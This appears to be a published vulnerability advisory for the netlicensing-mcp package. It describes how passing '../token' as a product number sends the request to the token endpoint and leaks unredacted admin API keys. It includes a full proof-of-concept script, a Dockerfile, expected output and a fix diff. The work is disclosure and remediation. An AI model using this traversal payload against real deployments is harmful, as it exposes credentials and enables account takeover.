PT-2026-53184 · Pypi · Netlicensing-Mcp
Published
2026-06-18
·
Updated
2026-06-18
CVSS v3.1
9.6
Critical
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
REST Path Traversal Bypasses Token Redaction in netlicensing-mcp
Summary
The
netlicensing get product MCP tool in netlicensing-mcp interpolates a caller-controlled product number argument directly into a REST URL path without any validation. Passing ../token as the product number causes httpx to normalize /product/../token into /token, silently redirecting the request to the NetLicensing token endpoint instead of the intended product endpoint. The response is then serialized through the generic wrap json wrapper rather than the token-specific wrap json token read wrapper, bypassing all APIKEY number and SHOP shopURL redaction. An authenticated MCP client can recover plaintext API key values that the token read tools intentionally mask, including admin-level APIKEY credentials.Details
The vulnerability is a path traversal (CWE-22) that exploits the interaction between unsanitized string interpolation and
httpx's WHATWG URL normalization.Source —
src/netlicensing mcp/tools/products.py:22python
async def get product(product number: str) -> dict:
"""Get a single product by its number."""
return strip output fields(await nl get(f"/product/{product number}"))product number is inserted directly into the REST path with no validation. A value of ../token produces the path /product/../token.Sink —
src/netlicensing mcp/client.py:143python
async def nl get(path: str, params: dict[str, str] | None = None) -> dict[str, Any]:
client = get client()
url = f"{BASE URL}{path}"
...
r = await client.get(url, headers= headers(), params=params or {})httpx constructs the full URL as {BASE URL}/product/../token and, per WHATWG URL normalization rules applied to absolute URLs, resolves it to {BASE URL}/token. The HTTP request is therefore sent to the NetLicensing /core/v2/rest/token endpoint.Redaction bypass —
src/netlicensing mcp/server.py:336 and src/netlicensing mcp/redaction.py:180-239The tool handler wraps the response via
wrap json(entity, "Product"), which calls only the generic json() redaction. The token-specific path wrap json token read() → redact token read() is never invoked. The function redact token read() at redaction.py:180-239 is the only code that masks APIKEY number and SHOP shopURL fields; because it is not on this code path, the raw API key value is returned verbatim in the MCP tool output.Complete data flow:
server.py:312-321— MCP dispatcher receives attacker-controlledproduct numberand callsproducts.get product(product number).tools/products.py:22— value interpolated intof"/product/{product number}"without validation.client.py:143—url = f"{BASE URL}{path}";httpxnormalizes../and sends request to/tokenendpoint.server.py:336— response wrapped as"Product"viawrap json, notwrap json token read.server.py:160-165— genericjson()redaction applies only default-field masking.redaction.py:180-239—redact token read()with APIKEY/SHOP-specific masking is never reached.
PoC
Prerequisites
- Python 3.10+
netlicensing-mcp0.1.5 (or local commitc8a3fec) installed or available viaPYTHONPATHhttpx,python-dotenv,mcp[cli]installed
Option A — Docker (recommended, reproduces Phase 2 result)
bash
# Build from the repository root (requires repo/ and vuln-001/ directories)
docker build -t netlicensing-vuln-001
-f vuln-001/Dockerfile
reports/pypiAi 1561 Labs64 NetLicensing-MCP/
# Run — exit code 0 confirms the vulnerability
docker run --rm netlicensing-vuln-001Option B — Direct Python
bash
cd /path/to/Labs64 NetLicensing-MCP
PYTHONPATH=src python3 - <<'PY'
import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
seen = []
secret = "actual-api-key-value-5678"
class Handler(BaseHTTPRequestHandler):
def do GET(self):
seen.append(self.path)
if self.path.endswith("/token"):
body = {"items":{"item":[{"type":"Token","property":[
{"name":"number","value":secret},
{"name":"tokenType","value":"APIKEY"},
{"name":"role","value":"ROLE APIKEY ADMIN"},
{"name":"active","value":"true"}
]}]}}
data = json.dumps(body).encode()
self.send response(200)
self.send header("Content-Type","application/json")
self.send header("Content-Length",str(len(data)))
self.end headers()
self.wfile.write(data)
else:
self.send response(404); self.end headers()
def log message(self, *args): pass
srv = HTTPServer(("127.0.0.1", 0), Handler)
threading.Thread(target=srv.serve forever, daemon=True).start()
async def main():
import netlicensing mcp.client as c
c.BASE URL = f"http://127.0.0.1:{srv.server port}/core/v2/rest"
tok = c.api key ctx.set("dummy")
try:
from netlicensing mcp.server import netlicensing get product
out = await netlicensing get product("../token")
print("UPSTREAM PATH=" + seen[0])
print("SECRET LEAKED=" + str(secret in out))
print(out)
finally:
c.api key ctx.reset(tok)
await c.close client()
srv.shutdown()
asyncio.run(main())
PYExpected output
text
UPSTREAM PATH=/core/v2/rest/token
PATH TRAVERSAL OK=True
SECRET LEAKED=True
=== MCP tool output (netlicensing get product('../token')) ===
{
"number": "actual-api-key-value-5678",
"tokenType": "APIKEY",
"role": "ROLE APIKEY ADMIN",
"active": true,
"type": "Token",
"console url": "https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678",
"warnings": [],
"suggested actions": []
}
[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint and plaintext secret 'actual-api-key-value-5678' is present in MCP outputThe
number field contains the raw API key value and console url embeds it in plaintext — both fields that redact token read() would otherwise mask.Remediation
Add a centralized path-segment validator in
client.py and call it from all HTTP helper functions (nl get, nl post, nl put, nl delete):diff
+from urllib.parse import unquote
+
+def validated path(path: str) -> str:
+ if not path.startswith("/"):
+ raise NetLicensingError(400, "Internal error: upstream path must start with '/'")
+ for segment in path.split("/"):
+ decoded = unquote(segment)
+ if decoded in {".", ".."} or "/" in decoded or "" in decoded:
+ raise NetLicensingError(400, "Invalid identifier: path separators are not allowed")
+ if any(ord(ch) < 32 for ch in decoded):
+ raise NetLicensingError(400, "Invalid identifier: control characters are not allowed")
+ return path
+
async def nl get(path: str, ...) -> dict[str, Any]:
- url = f"{BASE URL}{path}"
+ url = f"{BASE URL}{ validated path(path)}"Apply the same change to
nl post, nl put, and nl delete. Add regression tests for inputs ../token, %2e%2e, %2f, and x/y.Impact
An authenticated MCP client (one that already holds a NetLicensing API key sufficient to call any MCP tool) can call
netlicensing get product("../token") to retrieve plaintext APIKEY number values and SHOP shopURL values that the dedicated token read tools (netlicensing get token, netlicensing list tokens) intentionally redact. If the retrieved token carries ROLE APIKEY ADMIN privileges, the attacker gains full read/write/delete access over all resources in the target NetLicensing account, escalating from a scoped MCP client to account owner.This vulnerability is exploitable in any deployment mode — stdio (single-user) and HTTP/shared — because no non-default configuration is required. The attack requires only a valid API key to authenticate the MCP session; no admin privileges are needed to trigger the traversal.
Reproduction artifacts
Dockerfile
dockerfile
FROM python:3.12-slim
WORKDIR /app
# Copy the cloned repository source
COPY repo/ /app/repo/
# Install runtime dependencies directly to avoid hatch-vcs version-detection
# issues when building outside a proper git-tagged worktree.
RUN pip install --no-cache-dir
"httpx>=0.27.0"
"python-dotenv>=1.0.0"
"mcp[cli]>=1.7.0"
# Make the package importable via PYTHONPATH (avoids editable-install build step)
ENV PYTHONPATH=/app/repo/src
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
# Exit code 0 = PASS (secret leaked), 1 = FAIL
CMD ["python3", "/app/poc.py"]poc.py
python
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept: REST Path Traversal Bypasses Token Redaction
=======================================================================
Vulnerability: netlicensing get product(product number="../token")
Attack flow:
1. product number="../token" is interpolated into f"/product/{product number}"
=> path = "/product/../token"
2. client.py builds url = f"{BASE URL}/product/../token"
3. httpx normalizes the URL per WHATWG: /product/../token => /token
=> actual HTTP request lands on BASE URL/token (the token endpoint)
4. Response is wrapped via wrap json(..., "Product") which calls json()
=> only default-field redaction (apiKey, secret, etc.) runs
=> wrap json token read() / redact token read() is NEVER called
5. APIKEY token "number" field (= the raw API key value) is returned in
plaintext in the MCP tool output.
Expected exit codes:
0 — PASS: path traversal confirmed AND secret found in MCP output
1 — FAIL: could not confirm the vulnerability
"""
import asyncio
import json
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# Sentinel value used as the fake APIKEY token number (the "leaked secret").
SECRET APIKEY = "actual-api-key-value-5678"
# Collects every upstream request path received by the mock server.
seen paths: list[str] = []
class MockNetLicensingHandler(BaseHTTPRequestHandler):
"""Minimal mock of the NetLicensing REST API for PoC isolation."""
def do GET(self) -> None:
seen paths.append(self.path)
# Respond to ANY path ending with "/token" to capture both the
# normalized (/core/v2/rest/token) and raw (/core/v2/rest/product/../token)
# cases — in practice httpx always sends the normalized form.
if self.path.endswith("/token"):
body: dict = {
"items": {
"item": [
{
"type": "Token",
"property": [
{"name": "number", "value": SECRET APIKEY},
{"name": "tokenType", "value": "APIKEY"},
{"name": "role", "value": "ROLE APIKEY ADMIN"},
{"name": "active", "value": "true"},
],
}
]
}
}
data = json.dumps(body).encode()
self.send response(200)
self.send header("Content-Type", "application/json")
self.send header("Content-Length", str(len(data)))
self.end headers()
self.wfile.write(data)
else:
self.send response(404)
self.end headers()
def log message(self, *args: object) -> None:
pass # Suppress per-request log noise
async def run poc(server port: int) -> bool:
"""
Invoke the vulnerable MCP tool with the traversal payload and check
whether the upstream path was normalized and the secret leaked.
Returns True when both conditions are confirmed.
"""
import netlicensing mcp.client as client
from netlicensing mcp.server import netlicensing get product
# Redirect the HTTP client to the mock server.
original base url = client.BASE URL
client.BASE URL = f"http://127.0.0.1:{server port}/core/v2/rest"
# Inject a dummy API key so headers() does not raise a 503.
ctx token = client.api key ctx.set("dummy-key-for-poc")
try:
# ---- THE EXPLOIT ------------------------------------------------
# Pass "../token" as product number.
# products.get product calls nl get(f"/product/../token")
# httpx normalizes /product/../token -> /token
# The request hits /core/v2/rest/token on the mock server.
# The response is serialized via wrap json (not wrap json token read)
# so the APIKEY "number" field is NOT masked.
# -----------------------------------------------------------------
result: str = await netlicensing get product("../token")
upstream path = seen paths[0] if seen paths else "(none received)"
path traversal ok = upstream path == "/core/v2/rest/token"
secret in output = SECRET APIKEY in result
print(f"UPSTREAM PATH={upstream path}")
print(f"PATH TRAVERSAL OK={path traversal ok}")
print(f"SECRET LEAKED={secret in output}")
print()
print("=== MCP tool output (netlicensing get product('../token')) ===")
print(result)
print("=== end ===")
if path traversal ok and secret in output:
print()
print(
"[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint "
f"and plaintext secret '{SECRET APIKEY}' is present in MCP output"
)
else:
if not path traversal ok:
print(
f"[FAIL] Path traversal did not work: upstream path={upstream path!r}, "
"expected /core/v2/rest/token"
)
if not secret in output:
print(
f"[FAIL] Secret '{SECRET APIKEY}' not found in MCP output — "
"redaction may have been applied unexpectedly"
)
return path traversal ok and secret in output
finally:
client.api key ctx.reset(ctx token)
await client.close client()
client.BASE URL = original base url
def main() -> None:
# Bind the mock server on a random loopback port.
mock server = HTTPServer(("127.0.0.1", 0), MockNetLicensingHandler)
port: int = mock server.server address[1]
server thread = threading.Thread(target=mock server.serve forever, daemon=True)
server thread.start()
print(f"[*] Mock NetLicensing REST API listening on 127.0.0.1:{port}")
print(f"[*] Invoking netlicensing get product(product number='../token')")
print()
try:
success = asyncio.run(run poc(port))
finally:
mock server.shutdown()
sys.exit(0 if success else 1)
if name == " main ":
main()Fix
Path traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Netlicensing-Mcp